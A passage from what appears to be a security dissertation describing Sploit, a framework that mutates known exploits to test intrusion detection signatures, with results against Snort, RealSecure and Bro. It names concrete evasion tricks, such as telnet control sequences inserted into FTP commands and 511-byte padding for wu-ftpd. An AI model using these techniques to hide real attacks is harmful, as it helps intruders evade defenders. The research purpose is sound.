‘ ‘ ‘ Execute the attack aga in s t the target ’ ’ ’

de f i s s u c c e s s f u l ( s e l f )
‘ ‘ ‘ I n t e r r oga t e the o r a c l e to get the r e s u l t

o f the l a s t execut ion o f the exp lo i t ’ ’ ’

Figure 6.2: Exploit base class

6.1.1. Attack Model Implementation

How we have previously explained in section 4.2, the attack model consists
in a representation of the exploit (the exploit template) that provides the
hooks for the mutation functions.

In Sploit, exploit templates are realized as Python classes that imple-
ment a generic exploit interface. The interface defines the methods that
allow the exploit to perform the necessary setup and teardown procedures
(e.g., restart a target service, remove artifacts from previous exploitations
and so forth), execute the attack code, and interrogate the oracle to deter-
mine whether it was successful or not.

Figure 6.2 shows the base Exploit class. It extends HasParameters, a
class that provides the functionalities to add to the exploit instance a list
of parameters whose values can then be configured by the user (e.g., if the
attack needs an account on the remote machine, the userid and password
can be added as exploit parameters).

The execution of the exploit consists in a first call to the set up()
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method, then a sequence of calls to execute() and is succesful(), and
finally a single call to the tear down() method. The set up() method is
the right place to prepare internal structures (such as the shellcode buffer),
set up the target system and prepare the connection to the remote ora-
cle. The tear down() method, instead, can be used to clean up possible
execution data or remove the oracle from the target system.

Of course, between two following executions of the same exploit, some-
thing must happen that modify the way in which the attack is executed,
otherwise the same mutant would be executed over and over. To address
this problem, two solutions were available. A first “explicit” approach
consists in providing to the programmer a set of routines that he could
use to specify where the mutations might occur in the attack code. This
approach has some clear disadvantages: first of all, if a Sploit developer
comes out with a new mutation technique that apply to the attack in a way
the exploit developer did not have foreseen, a modification of the exploit
template is required. Moreover, this approach forces the exploit developer
to write the attack code in a counter-intuitive way, already thinking at all
the possible ways in which it can be mutated. On the opposite, we want
to keep the two roles (the person who writes the exploit, and the people
that writes the mutation routines) as independent as possible.

A second “implicit” technique consists in making the transformations in-
visible to the exploit developer. Python already provides a very complete
set of libraries to manage a large set of protocols (e.g., HTTP, FTP, SMTP,
IMAP, POP3, . . . ). The idea is to provide similar libraries (called man-
agers in the Sploit framework) that can easily be used as substitutes of
the regular ones and that provide internal hooks to link the mutant oper-
ators. Figure 6.3 shows how different protocol managers can compose the
transformation stack that is responsible to manage the outgoing traffic. In
the example, when the developer calls the HttpManager.send request()

method, the request goes through all the mutant operators registered at
the HTTP layer and the result is then sent to the underlying TCP layer.
There, the data are split in a number of TCP packets that go through the
required mutant operators and come back properly transformed. Then, the
TCP packets are sent to the IP layer and so forth until the data reaches
the Ethernet layer where they are actually sent through the wire.

Using this approach, inside the exploit template there is no sign of
the underlying mutation process. After an attack has been executed,
Sploit modifies the mutant operators registered to the various protocol
managers, thus changing the way the next attack is going to look like.
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Figure 6.3: Protocol Managers Stack

This does not mean that the exploit cannot control the mutation process
at all. Each protocol library usually provides two different methods to send
data: one that goes through the whole mutation process and one that sends
the plain data without any modification. Moreover, some managers allow
the exploit to set one or more invariants, such as the size of the shellcode
or the type of characters that must be avoided in the NOP sled.

6.1.2. Mutation Model Implementation

Mutant operators are implemented in Sploit as Python classes that im-
plement the MutantOperator interface (Figure 6.4), that defines three dif-
ferent functions: mutate, insert and remove. The first method contains
the code that implements the mutation function. It receive a list of objects
whose type depends on the layer where the operator is going to operate:
an operator at HTTP layer will receive a list of HTTP request, an op-
erator at TCP layer a list of TCP packets, and so forth. The method
implementation is free to add, remove, or modify any object received as
parameter.

The last two methods are responsible to add and remove the operator
to the correct hook in one of the protocol manager. It is also possible for
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c l a s s MutantOperator ( HasParameters ) :

de f mutate ( s e l f , o b j l i s t ) :
‘ ‘ ‘ Apply the mutation funct i on to the ob j ec t

in the o b j l i s t ’ ’ ’

de f i n s e r t ( s e l f ) :
‘ ‘ ‘ Reg i s t e r the mutant operator f o r the next

execut ion ’ ’ ’

de f remove ( s e l f ) :
‘ ‘ ‘ Disab le the mutant operator ’ ’ ’

Figure 6.4: MutantOperator base class

a mutant operator to register itself to more than one layer: for example,
a transformation may require to inject some packets at the IP layer and
then modify their target mac address when they reach the Ethernet layer.
In some rare cases, the insert and remove functions could also be used
to change some configuration parameters in the protocol manager, an op-
eration that can be particularly useful for operators that want to modify
the behavior of the userland TCP/IP stack.

Like the Exploit interface, also the MutantOperator class inherits the
parameter management functions extending HasParameter. It is interest-
ing to note that each parameter, besides the actual value, can also save a
list containing all the other possible values. Using this features, the user
can save for each parameter the set of values that he wants to use in the
experiment; it is then the Sploit engine that will take care of modifying
the actual values according with the policy currently used to explore the
mutation space.

6.1.3. Userland TCP/IP Stack

The Sploit framework includes an experimental TCP/IP stack that al-
lows mutant operators to be applied to the network packets. The actual
implementation is based on Scapy [scapy], a very nice Python packet man-
agement library that provides a set of classes to create, receive, and ma-
nipulate a large number of network protocols. However, since the current
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stack is still highly experimental, the user can decide to enable it or to rely
on the more stable TCP/IP stack provided by the underlying operating
system (losing the ability to modify the attack at the packet layer).

A well known problem encountered in managing network connections in
userspace is that the operating system ignores the existence of these con-
nections and promptly kills the incoming traffic sending back reset packets
to the other endpoint. To avoid this annoying behavior two solutions are
available. A first approach would consist in using a firewall to prevent
packets directed to a certain amount of ports to be managed by the kernel
stack and then use a port in that range to initiate the userland connection.
Even though this is a common solution adopted in many tools that need
to forge and receive network packets [shankar03, pahdye01], it presents
some drawbacks. First of all, the need of a firewall properly configured
by the user or by the tool itself (with obvious portability issues). Second,
if the range of blocked ports is large enough, it can cause problems when
the system need to open a “traditional” network connection. Finally, this
approach does not work with protocols different from TCP and UDP. One
may argue that it would be possible to set the firewall filter to include
all the traffic directed to the target host: unfortunately, this requires any
other communication with the target (e.g., the one required to interrogate
the oracle or reset a target service) to be managed by the userland stack.

Sploit adopts a different solution that consists in simulating a virtual
host using an address that is currently unused on the testbed network.
All the packets are then sent impersonating this phantom host, and a
network sniffer is properly set up to receive all the packets directed to it.
In this way we do not require any modification or particular configuration
on the machine running the Sploit engine (the operating system stack
ignores these packets since they appear to be directed to another host).
Anyway, the application do require root privileges to be able to correctly
impersonate the virtual host.

The current stack implementation is extremely rudimentary. It can re-
assemble packets (both at TCP and IP layers) but it does not implement
any retransmission or congestion control mechanism. Anyway, we were
able to use it in our experiments to implement some mutation technique
at both IP and TCP layer.
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6.1.4. Mutant Factories

Mutant factories are the components that implement the logic behind the
mutant generation process or, in other words, behind the exploration of
the mutation space.

For each attack (or each class of attacks) the user has to configure the
mutation space, i.e., he has to choose the set of mutant operators and the
list of parameter values for each of them. Every time a new mutant has
to be generated, the factory analyzes the mutation space and the result
of the previous attack to decide which mutant operators (and with which
parameters values) the engine has to enable for the next execution. Mutant
factories can also rely on the alerts generated by the NIDS for the previous
mutant to drive the space exploration process.

Currently, Sploit implements both the static policies described in Sec-
tion 5.2.2 and the enhanced version of mutant factory that takes into ac-
count the dynamic data-flow analysis information (presented later in this
chapter, in section 6.2.3).

6.1.5. Alert Collectors

Alert collectors are the interfaces between Sploit and the intrusion de-
tection sensors. These components are responsible to collect the alert
messages after the attacks have been executed. They can work either in
an online mode or in an offline mode. Online mode consists in querying
the IDS after each exploit execution, and it is used only when the factory
requires this kind of information to generate the next mutant. In fact, this
approach can be very inefficient because many intrusion detection systems
write the alerts messages only at specified intervals, forcing the collector
to wait for the messages, thus delaying the whole testing process.

In case the mutant factory does not requires the alert information in real-
time, Sploit automatically adopts a more efficient offline collection mode,
in which the alert messages are retrieved only after a certain number of
executions. To associate each alert to the correct attack, an alert collec-
tor can use two main techniques. The more reliable consists in checking
the source port numbers that is reported in all the NIDS alert messages.
In fact, Sploit increments the source port for each outgoing connection
allowing the network trace of each mutant to be easily recognized just
looking at that value.

If this approach cannot be used for some reason (e.g., for attacks that do
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Figure 6.5: Sploit graphical interface

not rely on TCP or UDP connections), the collector can still rely on the
exploit timestamp to correlate the messages.

6.1.6. Putting everything together: the Sploit tool

The Sploit framework is composed by several Python packages:

collectors: groups all the alert collector classes

exloits: contains all the exploit scripts

gui: contains the classes that implements the graphical user interface

interfaces: groups the main Sploit interfaces and base classes

managers: contains the libraries responsible for managing various
communication protocols
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operators: this packages contains a number of sub-packages, each
groping all the mutant operators for a certain layer

factories: contains the mutant factories classes

Finally, the main trunk contains the engine responsible of supervising the
exploit creation and execution and the two user interfaces: a traditional
command line interface, and a graphical interface (see Figure 6.5 for a
screenshot) based on the Qt libraries.

6.2. Itrace Extension

6.2.1. Itrace

The dynamic monitoring of the IDS sensor is realized with the help of
itrace. Itrace is an instruction tracing tool 1 that uses the single-step func-
tionality provided by the Linux ptrace interface to execute instruction-
by-instruction the process under analysis. The tool has been modified to
propagate the label information appropriately to keep track of both direct
and indirect dependencies. Because it analyzes instructions and operands,
we were required to implement a significant subset of the Intel i386 in-
struction set and the various addressing modes. This is a non-trivial task
considering the fact that the i386 instruction set contains a large number
of diverse CISC operations with a number of different addressing modes.

6.2.2. Sploit Extension

To be able to generate a mutant that has a high probability of evading the
IDS, Sploit must first map constraints generated by itrace to specific
features of an exploit. All the dynamic information mentioned in section
5.3 are based on absolute position of sequence of bytes in the packets that
compose the attack stream. Unfortunately, Sploit does not reason in
term of bytes, but in term of protocols, commands, and command fields.
Thus, a mapping between the two representations is created using a special
execution table that stores the associations between the byte positions and
the object that was responsible for their generation.

1Itrace has been initially developed by the RSG lab at the University of California -
Santa Barbara
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Whenever an exploit sends data using a certain protocol, the correspond-
ing protocol manager adds to the execution table a new row with the details
of the data and its location in the stream. In this fashion, the appropriate
mutant operators can be identified based on the location of a byte in the
stream.

This works very well with protocol commands, but it is not enough to
handle certain, more complicated cases. For example, shellcodes are gen-
erated using special EggManager objects, but the user may subsequently
place them in arbitrary locations (e.g., in the header of an HTTP request
or as an anonymous password in a ftp session). This makes it nontrivial to
track the actual position of the bytes in the network trace that belong to
the shellcode. To avoid this problem, the execution table supports float-
able objects. A floatable object is a special row that defers a decision on its
final position in the table. During execution of an attack, when sending a
chunk of bytes, Sploit checks if any of the floatable objects is contained
within the current set of bytes. If this is the case, the actual position of
the corresponding floatable objects can be fixed in the execution table.

Note that a given byte position can be associated with more than one
mutant operator. For example, consider the case of an attack that injects
shellcode inside one of the header fields of an HTTP request. When the
shellcode is generated, it is inserted into the execution table as a floatable
object associated with the EggManager generator. Its position is then
fixed when the HTTP request is sent, and as a result, each byte of the
shellcode will be associated with both the EggManager generator and the
HTTPRequest generator.

6.2.3. Driving the Mutant Generation

To take into account the new dynamic information, we developed a new
mutant factory that starts executing the base exploit (i.e., with no muta-
tion operators applied), collects the itrace constraints and then proceeds
with two subsequent refinement phases:

• Phase I: Byte positions
The first phase consists of taking into account only the position of
the bytes that the IDS checked to identify the attack. Using the
execution table, it is possible to map back each byte to the corre-
sponding portion of the attack that had been sent. For example,
itrace may highlight bytes 20-24 because they had some effect on
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the NIDS alert decision. The execution table relates “bytes 12-55”
to an HTTP request, and by interrogating the HTTP request object
it is possible to further refine this information, associating the initial
byte range to the URL portion of the request.

Once all byte positions identified as relevant to the detection pro-
cess are translated into commands and field locations within the ex-
ploit, Sploit can use this information to refine the initial mutation
space. In particular, according with the taxonomy we presented in
section 4.3.2, Sploit disables every obfuscation technique that does
not affect one of the relevant fields. Generic deception and exhaus-
tion techniques are temporarily deactivated as well, though it is still
possible to enable them afterwards if we cannot evade detection using
other techniques.

To summarize, the result is a new mutation space that contains only
the mutant operators that can affect in some way one of the high-
lighted part of the attack trace.

• Phase II: Dynamic constraints
Phase I can considerably reduce the size of the mutation space,
but further improvement is possible. In fact, itrace can generate
more precise dynamic information, including numerical constraints,
string constraints, and in particular cases also regular expression con-
straints. This information can be used by Sploit to further refine
the mutation space.

To take constraint information into account, Sploit implements a
simulation routine. Returning to the previous example, the system
was able to identify the field (the URL portion of the HTTP request)
from the attack trace that was examined by the IDS. By analyzing
the dynamic constraints, the system can now incorporate informa-
tion on the exact properties of the URL field that were actually
considered by the IDS. In our example, we can suppose that the
IDS was searching for a particular string. The simulation routine
cycles through the set of mutant operators that survived the first
phase and asks each of them to mutate the URL for every possible
parameter value. At each step, the routine checks whether the result
violates at least one of the constraints. If the result fails to violate
any constraints, Sploit removes that parameter from the list of the
possible values. Furthermore, if all possible parameters values have
been eliminated for a mutant operator, the operator itself is removed
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from the mutation space.

After termination of this phase, the mutation space contains only
those mutant operators that can modify the relevant fields in a way
that evades some subset of the derived constraints.



chapter seven

Signature Testing with Sploit:

Experimental Results

However beautiful the strategy,
you should occasionally look at the results

Winston Churchill

In order to evaluate the effectiveness of our exploit mutation framework
we designed two different experiments. In the first experiment we selected
ten different attacks and we used them to test the signatures provided
by three well-known intrusion detection systems. The second experiment
focuses instead on evaluating the proof of concept implementation of our
dynamic analysis technique to drive the mutant generation process for two
simple attacks.
This chapter reports the details and the results for both the experiments.

7.1. Sploit at Work: the Main Experiment

The goal of the first experiment was to test the detection capabilities of
commonly deployed NIDSs to determine whether the exploit mutation
framework depicted in this dissertation is capable of automatically gen-
erating exploits that can evade today’s most advanced NIDSs. To reach
this target, we run Sploit against a set of vulnerable services monitored
by three popular network-based intrusion detection systems. As a byprod-
uct, the results of the execution of the mutant exploit provides a useful
insight on the ability of the tested NIDSs to detect variations of attacks.
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7.1.1. Testing Setup

We now analyze the testing environment used in our experiment. In par-
ticular we discuss in details the set of network intrusion detection systems
under evaluation, the target services, the set of attacks, and the overall
network architecture.

Intrusion Detection Systems

For this main experiment, we selected three network-based intrusion de-
tection systems, representative for the open source, the commercial, and
the accademic world:

Snort - Snort, the leader of the opensource segment, is a lightweight multi-
platform network intrusion detection system. It is strongly patter
matching oriented, demanding to a number of pre-processors any
complex operation (e.g., TCP stream reassembly, and high level pro-
tocol decoding). The default snort installation includes thousands of
signatures.

ISS RealSecure - Internet Security Systems (ISS) has been one of the
first vendor to sell a network intrusion detection product. ISS Re-
alSecure is still one of the leading system in the commercial segment,
and it often represents the reference product to which other NIDSs
are compared. RealSecure includes a central console to manage the
alerts database and a set of various IDS sensors deployed across the
network.

Bro - Bro is one of the more mature and respected NIDSs that come from
the academic world. It does not contain a database of signatures as
complete and frequently updated as Snort and RealSecure, but it has
been explicitly designed to resist to many evasion techniques and its
signature are widely considered to have a very high quality.

These three systems are very different each others and we expected from
them different results in our testing experiments. Snort, that in some way
represents the baseline product, is stateless and it greatly relies on pattern
matching: thus, it should be more vulnerable to obfuscation techniques.
RealSecure is much more complex and uses “state of the art” protocol
parsers to analyze the traffic: this should make the system more difficult
to evade and less subject to simple attack obfuscation. Finally, Bro is
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known for its solid design and its ability to cope with many known eva-
sion techniques and thus it is a perfect candidate for our mutation testing
approach.

Attack Targets

Deploying a number of services to be used as target system for a testing
experiment is a tedious task. It requires to find a vulnerable version of each
service and install it in a suitable operating system environment. The main
problem is that, in order to install multiple target systems, a large network
infrastructure including multiple hosts is needed. In addition, since real
attacks will be run against these systems, it is often required to restart the
target application or event to reboot the whole operating system.

To partially overcome these problems, we decided to use VmWare images
to run the target systems. VmWare [vmware] is a framework that allows
different operating systems to be executed inside a virtual machine that
accurately emulate an x86 physical architecture. Each system is installed
from scratch exactly as it would be installed in a real x86 computer. The
only drawback is a loss of performance due to the virtualization process
that, however, do not affect in any way our experiment.

For our test we run various operating systems, including OpenBSD 3.1,
RedHat Linux 6.2, RedHat Linux 7.3, RedHat Linux 9.0, and Windows
2000 advanced Server. For each attack we then installed the corresponding
vulnerable service (see the attack description on section 7.1.2 for more
details) in the suitable VmWare image.

Testbed Network

The evaluation took place into an isolated testbed network (schematized
in Figure 7.1) composed of an attacking host running Sploit on a RedHat
Linux 9.0, three sensor hosts running Snort 2.0, Bro 0.9a11 (both on De-
bian 3.1), and ISS’s RealSecure 7.0 (on RedHat Linux 7.3), and a Debian
machine with VmWare running the target images required from time to
time by the current attack.

The whole experiment was executed in a otherwise silent network, with
no background traffic at all. This is required since we do not want to test
the overall system performance, but we are just interested in evaluating
a single detection model in isolation. Thus, the only packets on the wire
were the malicious traffic generated by Sploit.
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Figure 7.1: Testbed Network Setup

7.1.2. Attack Description

The attacks used in this evaluation were selected from a range of services
and protocol types, according to their impact, as well as the degree to which
they could be mutated. The resulting mix is a suite of ten exploits that
cover different target operating systems (Linux, Windows, and OpenBSD),
different protocols (FTP, HTTP, IMAP, RPC, and SSL), and different
categories of attacks (buffer overflow, directory traversal, denial of service,
etc.). All the selected exploits are publicly available, and some of them
have already been used in other IDS testing experiments, for example the
one recently performed by the Neohapsis [neohapsis:osec] that we described
in section 3.3.

Each of the selected exploits are described below:

IIS Escaped Characters Double Decoding

An error in IIS can lead to a URL being decoded twice, once before
security checks are performed and once after the checks. Conse-
quently, the server verifies a directory traversal attempt only after
the first decoding step. The attack exploits this vulnerability by
sending to the server a malicious request containing double-escaped
characters in the URL. By doing this, it is possible for the attacker
to compromise the target system by accessing any file and executing
arbitrary code.

WU-ftpd Remote Format String Stack Overwrite

Some versions of Washington University’s FTP server suffer from a
vulnerability that allows an attacker to execute arbitrary code with
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root permissions. By sending a well-crafted string as a parameter
of the SITE EXEC command, it is possible to overwrite data on the
stack of the server application and modify the execution flow. The
attack does not require an account on the target machine and can
be executed over an anonymous FTP session.

WU-imapd Remote Buffer Overflow

Some versions of Washington University’s IMAP server contain a
buffer overflow vulnerability. By sending a long string as the second
argument of several different commands (e.g., LIST, COPY, FIND,

LSUB, and RENAME), it is possible to hijack the server’s control flow
and execute arbitrary code on the target machine. This vulnerability
is mitigated by the fact that the attacker needs to have an account
on the server host in order to send these commands.

Microsoft DCOM-RPC

Remote Procedure Call (RPC) is a mechanism that allows procedure
invocation between processes that may reside on different systems.
The DCOM interface for RPC in different versions of Windows (XP,
NT 4.0, 2000, 2003) suffers from a buffer overflow vulnerability asso-
ciated with DCOM’s object activation requests. An attacker can ex-
ploit this vulnerability to execute arbitrary code with Local System

privileges on the affected machine. This vulnerability is exploited by
the Blaster worm.

IIS Extended Unicode Directory Traversal

Microsoft IIS 4.0 and 5.0 are vulnerable to a directory traversal at-
tack that can be exploited by an unauthenticated user sending a mal-
formed URL where slash characters are encoded using their Unicode
representation. In this case the attacker can overcome the server’s se-
curity checks and execute arbitrary commands on the target machine
with the privileges of the IUSR <machinename> account.

NSIISlog.DLL Remote Buffer Overflow

Microsoft Windows Media Services provides a method for delivering
media content to clients across a network. To facilitate the logging
of client information on the server side, Windows 2000 includes a
capability specifically designed for that purpose. Due to an error in
the way in which nsiislog.dll processes incoming requests, it is
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possible for a remote user to execute code on the target system by
sending a specially-crafted request to the server.

IIS 5.0 .printer ISAPI Extension Buffer Overflow

Windows 2000 introduced native support for the Internet Printing
Protocol (IPP), an industry-standard protocol for submitting and
controlling print jobs over HTTP. The protocol is implemented in
Windows 2000 via an Internet Services Application Programming
Interface (ISAPI) extension. This service is vulnerable to a remote
buffer overflow attack that can be exploited by sending a specially-
crafted printing request to the server. This results in the execution
of arbitrary code on the victim machine.

WS-FTP Server STAT Buffer Overflow Denial-Of-Service

WS-FTP is a popular FTP server for Windows NT and 2000. Ver-
sions up to 2.03 are vulnerable to a buffer overflow attack, where an
attacker sends a long parameter to the STAT command. By exploiting
this vulnerability, an attacker can easily shut down the target FTP
server. When Microsoft Windows detects that the server is out of
service, it performs a reboot of the server.

Apache HTTP Chunked Encoding Overflow

The Apache HTTP Server is a very popular open-source web server
that features full compliance with the HTTP/1.1 protocol specifi-
cation [apache:httpd]. Apache versions below 1.3.24 and 2.0.38 are
vulnerable to an overflow in the handling of the chunked-encoding
transfer mechanism.

HTTP chunk encoding is described in the HTTP/1.1 specification as
a specific form of encoding for HTTP requests and replies. In general,
it indicates an encoding transformation that has been applied to a
message body in order to ensure safe or efficient transport through
the network. In particular, chunk encoding allows a client or a server
to divide the message into multiple parts (i.e., chunks) and transmit
them one after another. A common use for chunk encoding is to
stream data in consecutive chunks from a server to a client. When
an HTTP request is chunk-encoded, the string “chunked” must be
specified in the “Transfer-Encoding” header field. A sequence of
chunks is appended as the request body. Each chunk consists of a
length field, which is a string that is interpreted as a hexadecimal
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number, and a chunk data block. The length of the data block is
specified by the length field, and the end of the chunk sequence is
indicated by an empty (zero-sized) chunk. A simple example of a
chunk-encoded request is shown in Figure 7.2.

Transfer-Encoding: chunked\r\n

\r\n

6\r\n \ first chunk

AAAAAA\r\n /

4\r\n \ second chunk

BBBB\r\n /

0

Figure 7.2: HTTP/1.1 chunked encoding example.

Apache is vulnerable to an integer overflow when the size of a chunk
exceeds 0xefffffff. This occurs because Apache interprets the
chunk size as a signed 32-bit integer, causing boundary checks on
the size value to fail. Thus, an attacker can craft a request such that
an overflow is triggered, allowing arbitrary code to be executed with
the permissions of the exploited Apache process.

OpenSSL SSLv2 Client Master Key Overflow

OpenSSL is an open-source software that implements both the Secure
Sockets Layer (SSLv2/v3) and the Transport Layer Security (TLSv1)
protocols [openssl]. OpenSSL versions below 0.9.6e and 0.9.7beta3
are vulnerable to an overflow in the handling of SSLv2 client mas-
ter keys. Client master keys are generated by the client during the
handshake procedure of the SSL protocol, and are then used to de-
rive the session keys that encrypt data transmitted over the secured
connection. Vulnerable versions of OpenSSL do not correctly handle
large client master keys during the negotiation procedure, allowing
a malicious attacker to overflow a heap-allocated buffer and execute
arbitrary code with the permissions of the server process.
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Exploit MS Size

WU-ftpd Remote Format String Stack Overwrite 608

WU-imapd Remote Buffer Overflow 61440

IIS Escape Characters Double Decoding > 10M

Microsoft DCOM-RPC 48

IIS Extended Unicode Directory Traversal > 10M

NSIISlog.DLL Remote Buffer Overflow > 10M

IIS 5.0 .printer ISAPI Buffer Overflow > 10M

WS-FTP Server STAT Buffer Overflow 608

OpenSSL SSLv2 Client Master Key Overflow 48

Apache HTTP Chunked Encoding Buffer Overflow > 10M

Table 7.1: Size of the mutation space (i.e., number of mutants that we
were able to generate) for each exploit

7.2. Experiment Results

The total number of possible mutants that the Sploit engine was con-
figured to generate for each attack (summarized in Table 7.1) is a key
value that must carefully be tuned for each exploit. This number depends
on how many mutation techniques are applied to the exploit and on how
each individual technique is configured. We manually configure the mutant
operators to produce variants within a reasonable range of variability.

In particular, for this test we enabled mutant operators implementing
mainly obfuscation and parser trap techniques because they are the more
effective to spot possible flaws in NIDS signatures. In particular no decep-
tion techniques were used in this experiment. Many previous tests already
pointed out how many IDSs are still vulnerable to these evasion techniques
(especially in the case of partially overlapping fragments), but this weak-
ness is more related to the intrusion detection TCP/IP stack than to the
quality of the attack models.

The resulting mutation spaces are quite different to each others in size.
For HTTP-based attacks, for example, we were not able to reduce the
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mutation space to a reasonable size, due to the high number of mutation
techniques available for that protocol. On the opposite, for the SSL and
the DCOM-RPC attacks the mutation space was very small. In fact, for
both of them we only had one mutant operator at the application layer
(that was then composed with mutations at network and exploit layers).

It is important to note that while some mutation techniques are appli-
cable to almost any kind of attack, others are instead specific for a single
protocol or even a single attack scenario. We initially implemented a set
of mutation techniques for the network protocols involved in our exploit
set, often noting how the same technique was effective in evading differ-
ent attacks against different intrusion detection systems. In other cases,
we had to enlarge the initial mutation space, trying to find new way to
evade a particular NIDS; after all, Sploit has been designed not only to
automatically test NIDSs, but also to provide a environment where users
can test and develop new mutation techniques. The values reported in ta-
ble 7.1 correspond to an estimation of the final size of the mutation spaces
for the various attacks.

7.2.1. Tests Results

First of all we verified the ability of each intrusion detection to correctly
detect the baseline attack when the exploit was not subjected to any mu-
tations technique. The results are reported in Table 7.2.

As the table shows, both Snort and RealSecure correctly detected all
instances of the baseline attacks. This is consistent with our expectations
for two of the most widely adopted intrusion detection systems. Bro,
instead, failed to detect some of the attacks. That can be understandable
for an Academic system that does not contain a wide range of signatures.

After this first test, we used Sploit to generate and execute mutant
exploits in order to test the real capabilities of the NIDSs detection models.
Tables 7.3,7.4, and 7.5 present the evaluation results for Snort, RealSecure,
and Bro respectively. For each attack, the corresponding table reports
several values.

The first column shows the composition of mutant operators required to
evade detection. The possible values are:

• None - in case we were not able to evade detection.

• NA - (not applicable): if the IDS was not able to correctly detect
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Exploit Snort Realsecure Bro

WU-ftpd Format String Detected Detected Detected

WU-imapd Buffer Overflow Detected Detected Not Detected

IIS Double Decoding Detected Detected Detected

Microsoft DCOM-RPC Detected Detected Detected

IIS Unicode Directory Traversal Detected Detected Detected

NSIISlog.DLL Buffer Overflow Detected Detected Not Detected

.printer ISAPI Buffer Overflow Detected Detected Detected

WS-FTP STAT Buffer Overflow Detected Detected Detected

OpenSSL Master Key Overflow Detected Detected Detected

Apache Chunked Encoding Detected Detected Not Detected

Table 7.2: Evaluation results: detection of the baseline (non-mutated)
exploits

the baseline attack, no mutation technique were required.

• Single - when a single mutation technique was enough to evade the
signature.

• Parallel, Cooperative, Chain - if more complex compositions of
multiple mutants operators were required to evade detection (see
Section 4.3.3 for more details on how to combine different techniques
and on the meaning of the terms).

The second column shows which was the simpler heuristic that lead to
the mutant we used to evade detection. Possible values for this column
are: one-at-the-time, iterative, plane coverage,and exhaustive. We tried
the various techniques even though, for large mutation spaces, we never
try the exhaustive approach limiting our analysis to the plane coverage
technique.

In the last column we summarize, when applicable, the type of techniques
(according with the taxonomy we proposed in Chapter 4) that enabled the
mutated exploits to evade detection.
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Exploit Evasion Type Exploration Techniques

WU-ftpd Format String Parallel Iterative Obfuscation

WU-imapd Buffer Overflow Parallel Iterative Obfuscation

IIS Double Decoding None

Microsoft DCOM-RPC Single One Obfuscation

IIS Unicode Directory Traversal Single One Obfuscation

NSIISlog.DLL Buffer Overflow None

.printer ISAPI Buffer Overflow None

WS-FTP STAT Buffer Overflow Parallel Iterative Obfuscation

OpenSSL Master Key Overflow Single One Parser-Trap

Apache Chunked Enc. Overflow Single One Parset-Trap

Table 7.3: Evaluation results: Snort detection

It is important to note that we stopped the testing process when a mu-
tant that was able to evade detection was found. Thus, the number of
mutants effectively tested was usually much lower than the number of pos-
sible mutations of an exploit (i.e., the size of the mutation space). The
tables do not report how many mutations were tried before the attack suc-
cessfully evaded the NIDS. This number, in fact, is meaningless since it
only depends on the order in which the engine applied the mutations to the
exploit. Moreover, we start each testing experiment enabling the mutant
operators that were effective in evading similar attacks. For example, our
set of exploits contains two directory traversal attacks; if we could evade
detection for the first attack using a certain mutant operator, we then test
the same configuration also for the other attack - often with successful
results.

The exploit mutation engine was able to automatically generate mutated
exploits that evaded Snort’s detection engine for 7 of the 10 attacks. Sim-
ilarly, we were able to evade RealSecure in 9 out of 10 cases and Bro for
6 out of 7 cases (remember that it failed to detect some of the baseline
attacks).

Even though it is tempting to make relative comparisons between the
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Exploit Evasion Type Exploration Techniques

WU-ftpd Format String Parallel Iterative Parser-Trap

Obfuscation

WU-imapd Buffer Overflow Single One Parser-Trap

IIS Double Decoding Single One Parser-Trap

Microsoft DCOM-RPC None

IIS Unicode Directory Traversal Single One Parser-Trap

NSIISlog.DLL Buffer Overflow Single One Parser-Trap

.printer ISAPI Buffer Overflow Single One Parser-Trap

WS-FTP STAT Buffer Overflow Single One Parser-Trap

OpenSSL Master Key Overflow Single One Parser-Trap

Apache Chunked Enc. Overflow Parallel iterative Obfuscation

Parser-Trap

Table 7.4: Evaluation results: ISS RealSecure detection

three systems, strong conclusions cannot be drawn due to the non-exhaustive
nature of the exploration of the detection space. Nonetheless, it can be
concluded that all the systems proved to be surprisingly vulnerable to the
generated mutant exploits.

7.2.2. Evasion Details

It is worth noting that, while some evasion techniques have been developed
ad-hoc for the experiment, most of them were already well-known between
security practitioners and thus one would expect that these mutants should
be correctly detected by all the NIDSs under test. The results demonstrate,
however, that most of the systems remain vulnerable to variations based
on these classic mutation techniques.
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Exploit Evasion Type Exploration Techniques

WU-ftpd Format String Parallel Iterative Obfuscation

Parser Trap

WU-imapd Buffer Overflow NA

IIS Double Decoding Single One Obfuscation

Microsoft DCOM-RPC None

IIS Unicode Directory Traversal Single One Obfuscation

NSIISlog.DLL Buffer Overflow NA

.printer ISAPI Buffer Overflow Single One Obfuscation

WS-FTP STAT Buffer Overflow Single One Obfuscation

OpenSSL Master Key Overflow Single One Morphing

Apache Chunked Enc. Overflow NA

Table 7.5: Evaluation results: BRO detection

FTP-based Attacks

The experiments involved two different attacks based on the FTP protocol,
respectively effective against WU-FTPD (a popular FTP server in the Unix
environment) and the Microsoft FTP server that comes with Windows 2000
Server. Sploit have been able to mutate both the attacks to successfully
evade all the IDSs in our experiment.

Snort and RealSecure resulted vulnerable to an old evasion technique
that relies on inserting telnet control sequences in the FTP command
stream; this approach has been used by the SideStep IDS evasion tool
since 2000. Both the NIDSs claim to correctly identify and remove telnet
control characters, but it seems that this is true only for certain types of
negotiation sequences. For example, the sequence 0xFF-0xF1 (IAC-NOP)
used by SideStep is in fact correctly removed by the two systems. How-
ever, by using other combinations of control characters (e.g., 0xFF-0xF0
or 0xFF-0xFC-0xFF) it is possible to evade both Snort and RealSecure.
Another problem stems from the fact that different FTP servers handle
these characters in different ways. Thus, it is very difficult for a NIDS
to know the exact command that will be processed by the server without
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taking the server version itself into account.

For this reason, we were surprised to see that Bro was able to correctly
manage all the possible control sequences (actually, it can also understand
sequences that are not understood by the target FTP server). This made
much more difficult to evade its signatures. Eventually, Sploit was able
to generate a mutant that evaded Bro, exploiting the fact that the wu-
ftpd server limits the size of a command to 511 bytes. If a single line is
longer than this threshold, the server considers the line as if it contains
two commands in a row. So, prepending 511 trash characters to the real
malicious commands, the intrusion detection system discards the line since
it does not look a valid FTP instruction, but the target system executes
both the garbage (returning an error) and the following command (that
contains the real attack).

Unfortunately, that was not enough. How we previously explained in
Chapter 2.3, Bro relies on two layers of models: the policy scripts (i.e., the
main high quality models) and the pattern matching signatures. Evaded
the first line, there still is the set of pattern matching rules, mostly de-
rived from the Snort IDS. This is an interesting addiction that can in some
way make up for the low number of models (compared with commercial
systems) in the policy scripts. But, unfortunately, this is a very weak de-
fense: in fact, most of these rules are vulnerable to the same technique that
evades Snort. Even worse, sometimes they look for the same expression
used by Snort, searching it in the raw payload whereas the snort rules rely
on some pre-processors to normalize the traffic. This makes this second
